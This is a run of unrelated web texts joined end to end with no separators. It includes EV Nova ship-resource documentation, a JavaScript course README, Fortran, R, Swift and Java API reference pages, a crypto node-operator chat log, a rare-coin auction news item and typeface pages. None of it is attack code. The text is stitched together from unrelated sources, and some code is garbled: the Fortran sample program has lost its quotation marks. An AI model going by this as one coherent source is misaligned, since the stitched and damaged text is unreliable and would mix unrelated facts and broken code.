1-4 - Use this kind of AI. (see the AI descriptions above)Crew Number of crew members. Shïps with 0 crew can't be boarded, nor can they capture any other shïps. Strength An arbitrary value that represents the relative strength of the shïp type with respect to the rest of the universe. Used when calculating combat odds (see the gövt resource for details). The next field tells Nova what government is associated with a shïp type. Note that unlike previous EV games, Nova actually handles two inherent government associations for each shïp type: an inherent combat govt (used when an AI shïp or stellar is deciding if it likes or hates another shïp) and an inherent attributes gövt (used for non-combat things like voice type, distress message flags, etc). Sometimes you might want to create a shïp type that inherits attributes from a particular gövt but isn't considered to be inherently of that gövt in combat, so Nova lets you use the InherentGovt field in several different ways:
InherentGovt -1 - No inherent combat gövt or inherent attributes gövt for this shïp
128-383 - Shïp is treated as being inherently of the gövt with this ID, both for AI combat and attributes inheritance)
1128-1383 - Shïp has an inherent attributes gövt with this ID (minus 1000) but no inherent combat gövt.
2128-2383 - Shïp has an inherent combat gövt with this ID (minus 2000) but no inherent attributes gövt.The next field is for some miscellaneous flags:
Flags 0x0001 - Slow jumping (75% normal speed)
0x0002 - Semi-fast jumping (125%)
0x0004 - Fast jumping (150%)
0x0008 - Player shïp takes advantage of FuelRegen property
0x0010 - Shïp is disabled at 10% armor instead of 33%
0x0020 - Shïp has afterburner when player has an advanced combat rating
0x0040 - Shïp always has afterburner (for AIs only)
0x0100 - Show % armor on target display instead of "Shields Down"
0x0200 - Don't show armor or shield state on status display
0x0400 - Shïp is a planet-type shïp, and can only be hit by planet-type weapons
0x1000 - Shïp's turrets have a blind spot to the front
0x2000 - Shïp's turrets have a blind spot to the sides
0x4000 - Shïp's turrets have a blind spot to the rear
0x8000 - Shïp is an escape shïp type - if the player is carrying any shïps of this type and decides to eject, he will fly off in a shïp of this type (with random damage) instead of an escape pod.PodCount For decorative purposes, AI shïps can be made to launch escape pods when they're destroyed. This field contains the standard number of escape pods for an AI shïp of this type to launch when destroyed, at a rate of one per second. Note that this has nothing to do with the përs field's escape pod flag, it's just for eye candy. Don't overuse this field, as it can be annoying if used too often. (perhaps restrict it only to luxury liner type shïps). DefaultItems Up to eight default items with which to equip this shïp when the player buys or captures one. Note that AI-controlled shïps will ignore these fields; also, don't put anything in here that isn't a physical item - i.e. afterburners, shield boosters, and the like are okay, but no fake IDs, maps, etc.
128-255 - Shïp comes stock with this item
-1 - IgnoredItemCount The number of each DefaultItem with which to equip the player. FuelRegen This shïp type's inherent fuel regeneration property. Works exactly the same as the fuel scoop ModVal property - useful for making shïps with built-in fuel replenishment. Note that for the player to be able to use this field, the 0x0008 flag must also be set. (this allows you to give enemy shïps built-in fuel scoops but still make the player have to buy his own) SkillVar The amount (in percent) to which this shïp's pilots' skill varies. This affects acceleration and turn rate for each shïp: i.e. a skill variance of 10% would make each shïp of a given type up to 10% slower or faster than "stock". Values from 1 to 50% are valid. Flags2 0x0001 - Shïp exhibits swarming behavior
0x0002 - Shïp prefers standoff attacks
0x0004 - Shïp can't be targeted
0x0008 - Shïp can be fired on by point defense systems
0x0010 - Don't use fighter voices
0x0020 - Shïp can jump without slowing down
0x0040 - Shïp is inertialess
0x0080 - AI shïps of this type will run away/dock if out of ammo for all ammo-using weapons
0x0100 - AI shïps of this type will cloak when their weapon goes into burst reload
0x0200 - AI shïps will cloak when running away
0x0400 - AI shïps will cloak when hyperspacing
0x0800 - AI shïps will cloak when just flying around
0x1000 - AI shïps will not uncloak until close to their target
0x2000 - AI shïps will cloak when docking
0x4000 - AI shïps will cloak when preemptively attackedAvailability Control bit test expression. The player will be able to purchase this type of shïp when the expression evaluates to true. Leave blank if unused. Depending on the configuration of other flags, the shïp might appear in the shipyard but not be able to be purchased if its Availability evaluates to false. AppearOn Control bit test expression. Shïps of this type will not show up in düde resources if this expression evaluates to false. Leave blank if unused. OnPurchase Control bit set expression. Leave blank if unused. Deionize The rate at which this shïp type dissipates ionization charge. A value of 100 equals 1 point of ion energy per 1/30th of a second. Higher values for Deionize yield faster ion charge dissipation. IonizeMax The amount of ion charge at which a shïp of this type will be considered "fully ionized". KeyCarried The key carried shïp type, used for interesting effects in the wëap and shaeauml;n resources. DefaultItms2
ItemCountMore default items, used as above Contribute
ContributeThese two Contribute fields together form a 64-bit flag that is subsequently combined with the Contribute fields from the outfit items in the player's possession, to be used with the Require fields in the oütf and mïsn resources. Require
RequireThese two Require fields together form a 64-bit flag that is logically and'ed with the Contribute fields from the player's current shïp and outfit items. If for each 1 bit in the Require fields there is a matching 1 bit in one or more of the Contribute fields, the shïp can be purchased. Leave these set to zero if unused. Depending on the configuration of other flags, the shïp might appear in the shipyard but not be able to be purchased if the player doesn't meet the Requirements. BuyRandom The percent chance that a shïp of this type will be available for purchase on a given day. A BuyRandom of 0 means this shïp will never be made available for purchase. HireRandom The percent chance that a shïp of this type will be available for hire in the bar on a given day. A HireRandom of 0 means this shïp will never be made available for hire. OnCapture Control bit set expression, evaluated when you capture a shïp of this type. Leave blank if unused. OnRetire Control bit set expression, evaluated when you sell a shïp of this type and/or replace it with a captured shïp. Subtitle The subtitle to show on the target display for this shïp type Flags3 Even more flags!
0x0001 - Shïp destroys asteroids
0x0002 - Shïp scoops asteroid debris
0x0010 - Shïp ignores gravity
0x0020 - Shïp ignores deadly stellars
0x0040 - Shïp's turreted shots appear above the shïp instead of below
0x0100 - Don't show shïp in shipyard if Availability is false
0x0200 - Don't show shïp in shipyard if Require bits not met
0x4000 - When this shïp is available for sale, it prevents all higher-numbered shïp types with equal DispWeight from being made available for sale at the same time.UpgradeTo If an escort shïp of this type can be upgraded, this field holds the ID of the shïp type that it can be upgraded to. Set to 0 or -1 if this shïp class can't be upgraded. EscUpgrdCost The cost to upgrade an escort shïp of this type to the next more advanced version, as defined in the UpgradeTo field. EscSellValue The amount of cash the player gets for selling off a captured escort of this type. If you input a number that's less than or equal to zero here, Nova will default to 10% of the shïp's original cost. EscortType Tells Nova which of the four categories of escorts to put this shïp type into when organizing the escort control menu.
-1 - Have the game try to figure it out at runtime
0 - Fighter
1 - Medium Ship
2 - Warship
3 - FreighterShortName The short string that is displayed in the shipyard dialog menu for this shïp type. If you want to split this name into two separate lines, put the characters "\n" into the name, e.g.: "Big Ship\n(used)". When using this, lines that start with an alphanumeric character are drawn in white, while lines that start with other symbols are drawn in grey. CommName The short string to display for this shïp when it is hailed by the player. Long Name The long string to display when the player purchases a shïp of this type or starts a new pilot. MovieFile The filename of a QuickTime movie to display in place of the shïp picture in the shipyard dialog. The QuickTime movie must reside within the Nova Files or Nova Plug-Ins folders and will be looped continuously while the player has this shïp type selected. Shïps' target info picts are stored in PICT resources 3000 and on. The engine is smart enough to reuse targeting picts for two shïp classes that have the same base sprites: all you have to do is give the first of any series of identical-looking shïp types a target pict in the usual way (PICT resource ID 3000 + shïpID - 128) and the engine will use it for all higher-numbered shïp types with the same base sprites.
| << Röid | Table of Contents | Spöb >> |
(©) 2000-2002 by Matt Burch and Ambrosia Software, Inc.


Welcome to another one of my JavaScript workouts. This code base is
based off of the JavaScript Essentials course from Udemy. - Carl
Redding.
If you want to be able to open up your browser on the dom and you are
using visual studio code here is a couple steps to get you going.
- Go to your extensions in VSCode
- Type in `Live Server`
- Download/Install `Live Server`
-
Open your HTML file and hit command L and command O and it should
prompt open. If not, you can look to your bottom right and Live Server
should be there. If so click that to launch your page. If not, right
click and click "Launch Live Server. "
- If that doesn't work. Then google it!


Namestrings always use local file system case conventions, but Common Lisp functions that manipulate pathname components allow the caller to select either of two conventions for representing case in component values by supplying a value for the :case keyword argument. The next figure lists the functions relating to pathnames that permit a :case argument:
Figure 19-2. Pathname functions using a :CASE argument
make-pathname pathname-directory pathname-name
pathname-device pathname-host pathname-type
<IP_ADDRESS>.2.1 Local Case in Pathname Components
<IP_ADDRESS>.2.2 Common Case in Pathname Components


Pizza
Składniki
Ciasto
Ser
Ketchup
Wymieszaj i upiecz
Wymieszaj
Upiecz
Resultat
A word about XML
Under the bonnet
it's not as pretty
as it looks
Film niezwiazany z tematem
Vertical?
Move along


Work samples
Some links to my work in HTML/CSS, JavaScript, prototyping and design.
HTML/CSS/JS build
Visit site
HTML/CSS/JS build
Visit site
HTML/CSS/JS build
Visit site
HTML/CSS build, CMS integration, tracking & analytics
Visit site
HTML/CSS build, CMS integration, tracking & analytics
Visit site
HTML/CSS build, CMS integration, tracking & analytics
Visit site
HTML/CSS build, tracking & analytics
Visit site
HTML/CSS build, CMS integration, tracking & analytics
Visit site
Project planning, HTML/CSS cut, CMS integration, analytics & tracking
Visit site
Prototyping, UI Design
Design, HTML/CSS cut
Visit site
Design, HTML/CSS cut
This site was knocked up in a couple of hours thanks to the amazing Foundation framework.


This page tracks the new paper links made to my list of ACM Symposium on Computer Animation 2003 papers.
Page maintained by Ke-Sen Huang.
If you have additions or changes, send an
e-mail.
November 28 2009
- Added ACM DOI and EG link for each paper
- Updated some author and paper links
November 23, 2003
August 3, 2003
July 25, 2003
June 25, 2003
June 24, 2003
June 22, 2003
June 18, 2003
June 7, 2003
June 6, 2003
kesen.huang@gmail.com


CSHIFT(3) - [TRANSFORMATIONAL] Circular shift elements of an array
result = cshift(array, shift [,dim])
type(TYPE(kind=KIND)) function cshift(array, shift, dim )type(TYPE(kind=KIND)),intent(in) :: array(..) integer(kind=**),intent(in) :: shift integer(kind=**),intent(in) :: dim
NOTE: :a kind designated as ** may be any supported kind for the type
o ARRAY may be any type and rank o SHIFT an integer scalar if ARRAY has rank one. Otherwise, it shall be scalar or of rank n-1 and of shape [d1, d2, ..., dDIM-1, dDIM+1, ..., dn] where [d1, d2, ..., dn] is the shape of ARRAY. o DIM is an integer scalar with a value in the range 1 <= DIM <= n, where n is the rank of ARRAY. If DIM is absent, it is as if it were present with the value 1. o the result will automatically be of the same type, kind and shape as ARRAY.
CSHIFT(3) performs a circular shift on elements of ARRAY along the dimension of DIM. If DIM is omitted it is taken to be 1. DIM is a scalar of type integer in the range of 1 <= DIM <= N, where "n" is the rank of ARRAY.
If the rank of ARRAY is one, then all elements of ARRAY are shifted by SHIFT places. If rank is greater than one, then all complete rank one sections of ARRAY along the given dimension are shifted. Elements shifted out one end of each rank one section are shifted back in the other end.
o ARRAY : An array of any type which is to be shifted o SHIFT : the number of positions to circularly shift. A negative value produces a right shift, a positive value produces a left shift. o DIM : the dimension along which to shift a multi-rank ARRAY. Defaults to 1.
Returns an array of same type and rank as the ARRAY argument.
The rows of an array of rank two may all be shifted by the same amount or by different amounts.
cshift
Sample program:
program demo_cshift implicit none integer, dimension(5) :: i1,i2,i3 integer, dimension(3,4) :: a, b !basics i1=[10,20,30,40,50] print *,start with: print (1x,5i3), i1 print *,shift -2 print (1x,5i3), cshift(i1,-2) print *,shift +2 print (1x,5i3), cshift(i1,+2)Results:print *,start with a matrix a = reshape( [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 ], [ 3, 4 ]) print (4i3), a(1,:) print (4i3), a(2,:) print (4i3), a(3,:) print *,matrix shifted along rows, each by its own amount [-1,0,1] b = cshift(a, SHIFT=[1, 0, -1], DIM=2) print * print (4i3), b(1,:) print (4i3), b(2,:) print (4i3), b(3,:) end program demo_cshift
> start with: > 10 20 30 40 50 > shift -2 > 40 50 10 20 30 > shift +2 > 30 40 50 10 20 > start with a matrix > 1 4 7 10 > 2 5 8 11 > 3 6 9 12 > matrix shifted along rows, each by its own amount > > 4 7 10 1 > 2 5 8 11 > 12 3 6 9
Fortran 95
fortran-lang intrinsic descriptions
o EOSHIFT(3) - End-off shift elements of an array o SUM(3) - sum the elements of an array o PRODUCT(3) - Product of array elements o FINDLOC(3) - Location of first element of ARRAY identified by MASK along dimension DIM having a value o MAXLOC(3) - Location of the maximum value within an array
| Nemo Release 3.1 | cshift (3) | July 22, 2023 |


-
Lifestyle
-
About Airdrie
-
Arts & Culture
-
Bert Church LIVE Theatre
-
East Lake Recreation & Wellness Centre
- Education
- Health
- Maps (GIS)
- Parks & Recreation
-
Parks
-
Sport & Community Facilities
-
- Online Services


Script found new Nextbike rental with number {{ i.num }} named {{ i.name }}.
You may want add this to osm. So check if this station exists!
For more info see:
http://www.javnik.tk/NextbikeOSM/{{ name }}.html
Information generated using NextbikeOSM by Javnik


The undergraduate Peer Tutoring Program aims to serve College of Chemistry students through accessible, reliable, and talented peer tutors. Tutoring takes place in the newly renovated Peer Tutoring and Study Center in Bixby Commons, with tutors available from 10am-5pm on weekdays.
To see a detailed schedule and view a list of tutors, visit this link.
The College of Chemistry is committed to providing comprehensive academic support for all students in the College. Our mission is to enhance the academic performance and well-being of all College of Chemistry students through the service of vetted peer advisors and talented peer tutors capable of providing sound student perspectives and insight. We aim for the students in our programs to build the discipline and confidence necessary to become lifelong learners, dedicated scientists, and world-class leaders.


will need to upgrade hdds. I was looking to do that on current node, then this caught my eye.
mrlynch17-May-19 11:43 AM
256 gb ram, 2 xeons at 40 threads, 3 nvme hard raid, 10 gbps line
Deleted User17-May-19 11:43 AM
useless
1
no offense
but I believe we will have to split servers
I think we need clarifications on the setup
but if I understood right
we will have double setup possible
mrlynch17-May-19 11:45 AM
so.. is the current setup documentation not applicable then?!
Deleted User17-May-19 11:45 AM
I wouldn t order before knowing the answer personnally
I m not claiming anything
mrlynch17-May-19 11:45 AM
too late
Deleted User17-May-19 11:45 AM
Just that depending on the answer
things may change
mrlynch17-May-19 11:45 AM
well, that's unfortunate
Deleted User17-May-19 11:46 AM
I barely have the time to keep up on Barterlly, but here I have a doubt
and won't go further before it s clear
mrlynch17-May-19 11:46 AM
@kolo can you share some info on that?(edited)
grewalsatinder17-May-19 11:46 AM
Two iguana network can run on same machine with 2 different public IP pointing two it.
Deleted User17-May-19 11:46 AM
efficiency ?
price ratio ?
grewalsatinder17-May-19 11:46 AM
So of that what u mean by split I thknk that a answers it?(edited)
Deleted User17-May-19 11:47 AM
why do we need beefy 128 where double setup with NVME can be achieved for everyone with 30% cost less ?
kolo17-May-19 11:47 AM
Current specs are good to work for now. Probably year will be ok
Deleted User17-May-19 11:47 AM
2 iguana network will be 2 independent servers here
kolo17-May-19 11:47 AM
64gb works well. Only SSD might need upgrade same moment
mrlynch17-May-19 11:48 AM
so are we going to have 2 networks or 1? if i follow the current nn documentation is that ok?
Deleted User17-May-19 11:48 AM
I just see people giving me specs of 128 and 256 gb
it s useless
kolo17-May-19 11:48 AM
Yet one
mrlynch17-May-19 11:48 AM
so the new mainnet will start with just 1 and potentially split down the line?
Deleted User17-May-19 11:48 AM
splitting means offloading can be done, and optimizing both costs and performance
mrlynch17-May-19 11:49 AM
why 2 pubkeys then?
grewalsatinder17-May-19 11:49 AM
Scaling
Clustering, maybe...
Deleted User17-May-19 11:49 AM
yet, the "whatif" just makes me warn people : don t rent a beefy serv, if we may need a second one in the year
SHossain17-May-19 11:49 AM
@mrlynch current doc will be updated when we have more detailed info on how to use 2 iguana network. full info is not available yet. current doc is good for current ops.
grewalsatinder17-May-19 11:49 AM
Whatever word maks one happy
Deleted User17-May-19 11:49 AM
trivial : 1 iguana per serv
mrlynch17-May-19 11:49 AM
if scaling is needed that's fine with 1 beefy server as well as it can be virtualized, unless that's inefficient
1
SHossain17-May-19 11:50 AM
it will be updated during the next season launch or before
Deleted User17-May-19 11:50 AM
it will be efficient
but if you think bare
it won t
mrlynch17-May-19 11:50 AM
it will be updated during the next season launch or before is that 2020?
1
kolo17-May-19 11:50 AM
Second network info is not yet ready.
Deleted User17-May-19 11:50 AM
but in the pipe
grewalsatinder17-May-19 11:50 AM
Also agree with dwy, ideal would be 1 iguana on a server in my opinion too, I just wanted to Express possible setup on same machine
kolo17-May-19 11:50 AM
When it will be ready - manuals will be too
Deleted User17-May-19 11:51 AM
it s just a friendly advice for people not to waste money
SHossain17-May-19 11:51 AM
is that 2020?
first week of July 2019
no one said that next season will launch next year
Strob17-May-19 11:51 AM
Well if I have my server at home it's better on 1 server.
mrlynch17-May-19 11:51 AM
hold.. i was told to have servers ready by 1st june
Deleted User17-May-19 11:52 AM
I just say
don t get cocky with a 256
if we have to split half year
mrlynch17-May-19 11:52 AM
if i buy and deploy servers by 1st june for 1 network and then have to change to 2 networks a heads up would be good
Deleted User17-May-19 11:52 AM
I believe it s not ready
SHossain17-May-19 11:52 AM
1st of June, we start testing of new source for mainnet for 2 weeks. we update all pools, exchanges, service providers, wallets, explorers after mid June. July mainnet update goes live
1
Deleted User17-May-19 11:52 AM
but to be efficient you have to prepare to what s next
mrlynch17-May-19 11:53 AM
but if you think bare instead of getting 2 servs for 300 each i'd rather get 1 for 500 and virtualize it, diff ip's and all
Deleted User17-May-19 11:53 AM
if your prices are like that, as you wish
everyone need to play with all cards in hand
mrlynch17-May-19 11:54 AM
those are kinda my options.. i'm open to options and education.. i don't know what to expect, haven't done this befor3... all i know is i don't wanna fekk up
so 1 june - 15 june -> mainnet test
Deleted User17-May-19 11:54 AM
again, I m not claiming anything
grewalsatinder17-May-19 11:55 AM
I don't think there is skme kinda restrictions mate, explore, experience and adopt as need arise. Risk is also good sometimes.
Deleted User17-May-19 11:55 AM
just knowing 2 diff networks
makes me optimize on every part
cost is a part
mrlynch17-May-19 11:55 AM
risk might be good sometimes, when you already know a fair bit
so, i should expect and plan to deploy new servers after 15 june?!
SHossain17-May-19 11:56 AM
but, for NN Next Season info Kolo is the best person to announce.
2
mrlynch17-May-19 11:56 AM
in case 2 networks will be a thing?
SHossain17-May-19 11:56 AM
the info i have given is for Komodo source
Deleted User17-May-19 11:56 AM
it s just a friendly reminder that we will have infrastructure change that may be needed
and if people go for a 256
SHossain17-May-19 11:57 AM
256GB RAM is overkill
Deleted User17-May-19 11:57 AM
and have to popup a new serv for whatever reason
yes
SHossain17-May-19 11:57 AM
128 is more than enough
but, if anyone wants to have 256GB RAM, there is no issue
it's their personal choice
Deleted User17-May-19 11:57 AM
alien instructor talked
mrlynch17-May-19 11:58 AM
yet, the "whatif" just makes me warn people : don t rent a beefy serv, if we may need a second one in the year
i can either get 1 x 256 or 2 x 64 but i need to know
Deleted User17-May-19 11:58 AM
man
SHossain17-May-19 11:58 AM
my servers can handle 1.5TB of RAM. but, i'm more than happy with 128GB RAM


|
||||||||||
| PREV NEXT | FRAMES NO FRAMES |
Classes in org.apache.velocity.context used by org.apache.velocity| AbstractContext
|
This class is the abstract base class for all conventional Velocity Context implementations. Context
|
Interface describing the application data context. InternalContextBase
|
class to encapsulate the 'stuff' for internal operation of velocity. InternalEventContext
|
Interface for event support. InternalHousekeepingContext
|
interface to encapsulate the 'stuff' for internal operation of velocity. |
Classes in org.apache.velocity.context used by org.apache.velocity.app| Context
|
Interface describing the application data context. |
Classes in org.apache.velocity.context used by org.apache.velocity.app.event| Context
|
Interface describing the application data context. |
Classes in org.apache.velocity.context used by org.apache.velocity.app.tools| Context
|
Interface describing the application data context. |
Classes in org.apache.velocity.context used by org.apache.velocity.context| Context
|
Interface describing the application data context. InternalContextAdapter
|
interface to bring all necessary internal and user contexts together. InternalContextBase
|
class to encapsulate the 'stuff' for internal operation of velocity. InternalEventContext
|
Interface for event support. InternalHousekeepingContext
|
interface to encapsulate the 'stuff' for internal operation of velocity. InternalWrapperContext
|
interface for internal context wrapping functionality |
Classes in org.apache.velocity.context used by org.apache.velocity.runtime| InternalContextAdapter
|
interface to bring all necessary internal and user contexts together. |
Classes in org.apache.velocity.context used by org.apache.velocity.runtime.directive| InternalContextAdapter
|
interface to bring all necessary internal and user contexts together. |
Classes in org.apache.velocity.context used by org.apache.velocity.runtime.parser.node| Context
|
Interface describing the application data context. InternalContextAdapter
|
interface to bring all necessary internal and user contexts together. |
Classes in org.apache.velocity.context used by org.apache.velocity.runtime.visitor| InternalContextAdapter
|
interface to bring all necessary internal and user contexts together. |
Classes in org.apache.velocity.context used by org.apache.velocity.servlet| Context
|
Interface describing the application data context. |
Classes in org.apache.velocity.context used by org.apache.velocity.texen| Context
|
Interface describing the application data context. |
Classes in org.apache.velocity.context used by org.apache.velocity.texen.ant| Context
|
Interface describing the application data context. |
|
||||||||||
| PREV NEXT | FRAMES NO FRAMES |


UserInterfaceLayerDelegate
public protocol UserInterfaceLayerDelegate : AnyObject
The protocol allows to support messaging that comes from UIApplicationDelegate
and rest iOS API
This maybe relevant to inform UILayer Plugin in cases url schme comes to application
-
Delegate instance that conforms implemented
UIApplicationDelegate
functionsDeclaration
Swift
var applicationDelegate: UIApplicationDelegate? { get set }
-
Undocumented
Declaration
Swift
var userNotificationCenterDelegate: UNUserNotificationCenterDelegate? { get set }


| kable {knitr} | R Documentation |
A very simple table generator, and it is simple by design. It is not intended
to replace any other R packages for making tables. The kable()
function returns a single table for a single data object, and returns a table
that contains multiple tables if the input object is a list of data objects.
The kables()
function is similar to kable(x)
when x
is a
list of data objects, but kables()
accepts a list of kable()
values directly instead of data objects (see examples below).
kable( x, format, digits = getOption("digits"), row.names = NA, col.names = NA, align, caption = NULL, label = NULL, format.args = list(), escape = TRUE, ... ) kables(x, format, caption = NULL, label = NULL)
x |
For |
format |
A character string. Possible values are |
digits |
Maximum number of digits for numeric columns, passed to
|
row.names |
Logical: whether to include row names. By default, row names
are included if |
col.names |
A character vector of column names to be used in the table. |
align |
Column alignment: a character vector consisting of |
caption |
The table caption. |
label |
The table reference label. By default, the label is obtained
from |
format.args |
A list of arguments to be passed to |
escape |
Boolean; whether to escape special characters when producing
HTML or LaTeX tables. When |
... |
Other arguments (see Examples and References). |
Missing values (NA
) in the table are displayed as NA
by
default. If you want to display them with other characters, you can set the
option knitr.kable.NA
, e.g. options(knitr.kable.NA = '')
to
hide NA
values.
A character vector of the table source code.
When using kable()
as a top-level expression, you do not
need to explicitly print()
it due to R's automatic implicit
printing. When it is wrapped inside other expressions (such as a
for
loop), you must explicitly print(kable(...))
.
See
https://bookdown.org/yihui/rmarkdown-cookbook/kable.html for some
examples about this function, including specific arguments according to the
format
selected.
Other R packages such as huxtable, xtable, kableExtra, gt and tables for HTML and LaTeX tables, and ascii and pander for different flavors of markdown output and some advanced features and table styles. For more on other packages for creating tables, see https://bookdown.org/yihui/rmarkdown-cookbook/table-other.html.
d1 = head(iris) d2 = head(mtcars) # pipe tables by default kable(d1) kable(d2[, 1:5]) # no inner padding kable(d2, format = "pipe", padding = 0) # more padding kable(d2, format = "pipe", padding = 2) kable(d1, format = "latex") kable(d1, format = "html") kable(d1, format = "latex", caption = "Title of the table") kable(d1, format = "html", caption = "Title of the table") # use the booktabs package kable(mtcars, format = "latex", booktabs = TRUE) # use the longtable package kable(matrix(1000, ncol = 5), format = "latex", digits = 2, longtable = TRUE) # change LaTeX default table environment kable(d1, format = "latex", caption = "My table", table.envir = "table*") # add some table attributes kable(d1, format = "html", table.attr = "id=\"mytable\"") # reST output kable(d2, format = "rst") # no row names kable(d2, format = "rst", row.names = FALSE) # Pandoc simple tables kable(d2, format = "simple", caption = "Title of the table") # format numbers using , as decimal point, and ' as thousands separator x = as.data.frame(matrix(rnorm(60, 1e+06, 10000), 10)) kable(x, format.args = list(decimal.mark = ",", big.mark = "'")) # save the value x = kable(d2, format = "html") cat(x, sep = "\n") # can also set options(knitr.table.format = 'html') so that the output is HTML # multiple tables via either kable(list(x1, x2)) or kables(list(kable(x1), # kable(x2))) kable(list(d1, d2), caption = "A tale of two tables") kables(list(kable(d1, align = "l"), kable(d2)), caption = "A tale of two tables")


Rare 1838 half-dollar coin could be worth $500G at auction
by James RogersAn extremely rare half-dollar coin from 1838, now valued at as much as $500,000, is set for auction this week.
The 1838-O Capped Bust half dollar is one of only nine that are known to exist, according to auction house Stack’s Bowers Galleries. No more than 20 coins were made of the first issue of half dollars from the then newly-opened New Orleans Mint, it said, in a statement emailed to Fox News.
EXTREMELY RARE 1894 DIME ONCE OWNED BY JERRY BUSS SELLS FOR $1.3M
“This particular mint was established to produce coins of several different denominations at the time but its main focus was the 50-cent piece, which was needed to convert the flow of uneven quality Latin American silver coins into a sufficient quantity of new United States coins fit for banking and commerce,” explained Stack’s Bowers Galleries.
The gallery continued: “However, technical issues and the spread of yellow fever in the area limited production of the coin for that year and very few were struck as a result. Now, the 1838-O half dollar is one of the most sought-after coins by collectors and enthusiasts alike due to its rarity and this particular specimen is one of the finest examples available.”
The rare half dollar has been off the market since the 1980s. It will be auctioned at the Whitman Baltimore Winter Expo at the Baltimore Convention Center on Nov. 15.
SCHOOLKIDS DISCOVER 1,600-YEAR-OLD GOLD COIN
“This is one of those coins that every serious collector dreams about acquiring,” said Brian Kendrella, president of Stack’s Bowers Galleries, in the statement. “It almost seems that it was fated to become a collector’s item from the day it was struck.”
An extremely rare 1894 dime, one of only 24 minted and once owned by former Lakers owner Jerry Buss, recently sold at auction for $1.32 million, including the buyer’s commission.
In 2016, an 1894-S dime sold for $2 million at a Florida auction.
CLICK HERE TO GET THE FOX NEWS APP
The Associated Press contributed to this article. Follow James Rogers on Twitter @jamesjrogers


Input Types : Graph Type
Output Types : None
Date : 26 Feb 2002
The unit called SGTGrapher is a 2 dimensional plotting tool based in Java.
It allows for the plotting of several line and scatter plots on the same area.
It also allows for the cosmetics of the graph to be changed such as the colours used
and the title names.
SGTGraphers's parameter window (double-click on the unit while holding down the Control key) is used to view the resultant graphs as well as make changes to them. Once a taskgraph has been run SGT will display the produced graph in a window that appears from within the parameter panel (see figur). From within this panel the graph can also be changed. Firstly we can use this panel to zoom in on certan aras of the graph that may be of interest. To do this use the mouse to drag a selection area arund the area which you wish to zoom in on and release. To reset the zoom select the Reset Zoom button.
Under the file menu is the choice to print the graph. The graph can be printed to a file or printer and works similarly to print functins available in other software.
The plot menu contains the methods to adjust the plot itself. Firstly it gives the option of amending the plot properties. In selecting this a window appears containing the information concerning the plot. Such information lncludes details on the axis and the titles. These can all be amended using this window, in a variety of ways. For example, the window can be used to change the mark type, colour, line type and tick type of each set of data in the plot.
The Line Key Title option under the plot menu allows the user to amend the line key value. This function is also available in the plot menu. The menu only works for the first line key.
Finally under the plot mennu there is the option to chnage the x or y axis to represent linear or log values.


Hello World. I am Droid Sans.
Hide Page
|
Reload Cached
The goal of this page is simply to use fonts directly via CSS.


Welcome to coding things! Here you will get your computer set up to learn the wonderful world of GitHub!
First things first. Go to your spotlight search and look for "terminal". Open it up, and you should see something like this appear:
Play with settings as you like. Try a few commands like ls(list: shows all the files in the folder you're in), cd (change directory: goes to a new folder), or pwd (print working directory: shows where you are from the very root of your computer).
There is a lot to learn about terminal, but we won't get into it all here. Play around until you know how to change directories, and get back to where you started. We'll go into more detail later, as we need different commands for different steps.


Kadwa is a Devanagari typeface family designed by Sol Matas. It is based on the original Latin typeface Bitter, a slab serif typeface for text.
People read and interact with text on screens more and more each day. What happens on screen ends up being more important than what comes out of the printer. With the accelerating popularity of electronic books, type designers are working hard to seek out the ideal designs for reading on screen.
Motivated by Sol's love for the pixel she designed Bitter, and later Kadwa. A "contemporary" slab serif typeface for text, it is specially designed for comfortably reading on any computer or device. The robust design started from the austerity of the pixel grid, based on rational rather than emotional principles. It combines the large x-heights and legibility of the humanistic tradition with subtle characteristics in the characters that inject a certain rhythm to flowing texts.
It has little variation in stroke weight and the Regular is darker than a typical typeface intended for use in print. This generates an intense color in paragraphs, accentuated by the serifs that are as thick as strokes, with square terminals.
Each glyph is carefully designed with an excellent curve quality added to the first stage of the design, that was entirely made in a pixel grid. The typeface is balanced and manually spaced to use very few kerning pairs, especially important for web font use since most browsers do not currently support this feature.
The Kadwa project is led by Sol Matas, a type designer based in Berlin, Germany. To contribute, see github.com/solmatas/Kadwa


java.awt.image
package.See: Description
| Interface | Description |
|---|---|
| ComponentTransferFunction |
Defines the interface expected from a component
transfer function.
|
| Light |
Top level interface to model a light element.
|
| TransferFunction |
Defines the interface for all the
ComponentTransferOp transfer
functions, which can all be converted to a lookup table |
| Class | Description |
|---|---|
| AbstractLight |
An abstract implementation of the Light interface.
|
| ARGBChannel |
Enumerated type for an ARGB Channel selector.
|
| CompositeRule |
This is a typesafe enumeration of the standard Composite rules for
the CompositeRable operation.
|
| ConcreteComponentTransferFunction |
This class implements the interface expected from a component
transfer function.
|
| DiscreteTransfer |
This class defines the Discrete type transfer function for the
feComponentTransfer filter, as defined in chapter 15, section 11
of the SVG specification.
|
| DistantLight |
A light source placed at the infinity, such that the light angle is
constant over the whole surface.
|
| GammaTransfer |
GammaTransfer.java
This class defines the Gamma type transfer function for the
feComponentTransfer filter, as defined in chapter 15, section 11 of the SVG
specification.
|
| GraphicsUtil |
Set of utility methods for Graphics.
|
| IdentityTransfer |
IdentityTransfer.java
This class defines the Identity type transfer function for the
feComponentTransfer filter, as defined in chapter 15, section 11 of the SVG
specification.
|
| LinearTransfer |
LinearTransfer.java
This class defines the Linear type transfer function for the
feComponentTransfer filter, as defined in chapter 15, section 11 of the SVG
specification.
|
| PadMode |
This is a typesafe enumeration of the standard Composite rules for
the CompositeRable operation.
|
| PointLight |
A light source which emits a light of constant intensity in all directions.
|
| SpotLight |
A light source which emits a light of constant intensity in all directions.
|
| SVGComposite |
This provides an implementation of all the composite rules in SVG.
|
| SVGComposite.AlphaPreCompositeContext | |
| SVGComposite.AlphaPreCompositeContext_INT_PACK | |
| SVGComposite.ArithCompositeContext | |
| SVGComposite.ArithCompositeContext_INT_PACK | |
| SVGComposite.ArithCompositeContext_INT_PACK_LUT | |
| SVGComposite.AtopCompositeContext | |
| SVGComposite.AtopCompositeContext_INT_PACK | |
| SVGComposite.DarkenCompositeContext | |
| SVGComposite.DarkenCompositeContext_INT_PACK | |
| SVGComposite.InCompositeContext | |
| SVGComposite.InCompositeContext_INT_PACK | |
| SVGComposite.LightenCompositeContext | |
| SVGComposite.LightenCompositeContext_INT_PACK | |
| SVGComposite.MultiplyCompositeContext |
The following classes implement the various blend modes from SVG.
|
| SVGComposite.MultiplyCompositeContext_INT_PACK | |
| SVGComposite.OutCompositeContext | |
